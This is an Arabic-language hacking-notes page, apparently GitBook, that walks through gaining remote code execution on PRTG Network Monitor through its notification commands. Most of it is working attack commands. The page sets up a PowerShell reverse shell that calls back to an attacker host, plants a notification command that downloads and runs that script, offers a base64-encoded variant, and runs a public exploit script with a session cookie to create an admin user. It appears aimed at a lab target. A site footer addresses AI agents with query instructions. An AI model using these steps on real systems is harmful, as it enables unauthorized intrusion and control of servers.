> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/prtg-network-monitor-cms-exploitation.md).

# PRTG Network Monitor

<figure><img src="/files/948f52becad666493ceadd53582658a6fccb70bd" alt=""><figcaption></figcaption></figure>

## تنفيذ أوامر عن بُعد في PRTG Network Monitor

يمكن لـ PRTG تنفيذ إجراءات الإشعارات على الخادم. إذا كانت جلسة مصادَق عليها تمتلك إذن إنشاء الإشعارات أو تعديلها، فيمكن إساءة استخدام حقل أمر الإشعار لتنفيذ PowerShell والحصول على تنفيذ للشفرة.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

## الطريقة 1 - إساءة استخدام الإشعارات يدويًا

حمّل سكربت شل عكسي لـ PowerShell إلى جهاز المهاجم:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```

أضف معالج النداء الخلفي إلى السكربت، مع إبقاء عنوان IP والمنفذ الخاصين بالمستمع متوافقين مع بيئتك:

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```

استضف الملف:

```bash
python3 -m http.server 80
```

ابدأ مستمعًا:

```bash
rlwrap nc -nvlp 443
```

في PRTG، انتقل إلى `الإعداد > إعدادات الحساب > الإشعارات` وانشئ إجراء إشعار جديدًا يشغّل برنامجًا أو سكربتًا.

<figure><img src="/files/fbe552a01c0259b515b0fab866cfba07c1e290f1" alt=""><figcaption></figcaption></figure>

استخدم أمر الإشعار لجعل الخادم يحمّل ويشغّل سكربت PowerShell المستضاف:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

<figure><img src="/files/89999c9ab966aef8a189815600a574e69dd44694" alt=""><figcaption></figcaption></figure>

إذا وصل الطلب إلى خادم الويب لكن الشل العكسي لم يتصل مرة أخرى، فحوّل سكربت PowerShell إلى Base64 بتنسيق UTF-16LE واستخدم PowerShell `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

ثم ضع الحمولة المشفّرة في أمر الإشعار:

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

<figure><img src="/files/25a3bf192744c4f2e3565742f3779ae02bc83b3d" alt=""><figcaption></figcaption></figure>

## الطريقة 2 - استغلال آلي

ابحث عن استغلالات عامة لـ PRTG Network Monitor وانسخ السكربت المطابق:

```bash
searchsploit -m windows/webapps/46527.sh
```

<figure><img src="/files/70a9538420ef721a4d34e0c7129fa6d98e3c0495" alt=""><figcaption></figcaption></figure>

شغّل السكربت باستخدام عنوان URL المستهدف وملف تعريف الارتباط الخاص بالجلسة المصادَق عليها:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

ينشئ الاستغلال مستخدمًا جديدًا:

* اسم المستخدم: `pentest`
* كلمة المرور: `P3nT3st!`

<figure><img src="/files/d1da575a21efd8356996812d249651a8f690b838" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/prtg-network-monitor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
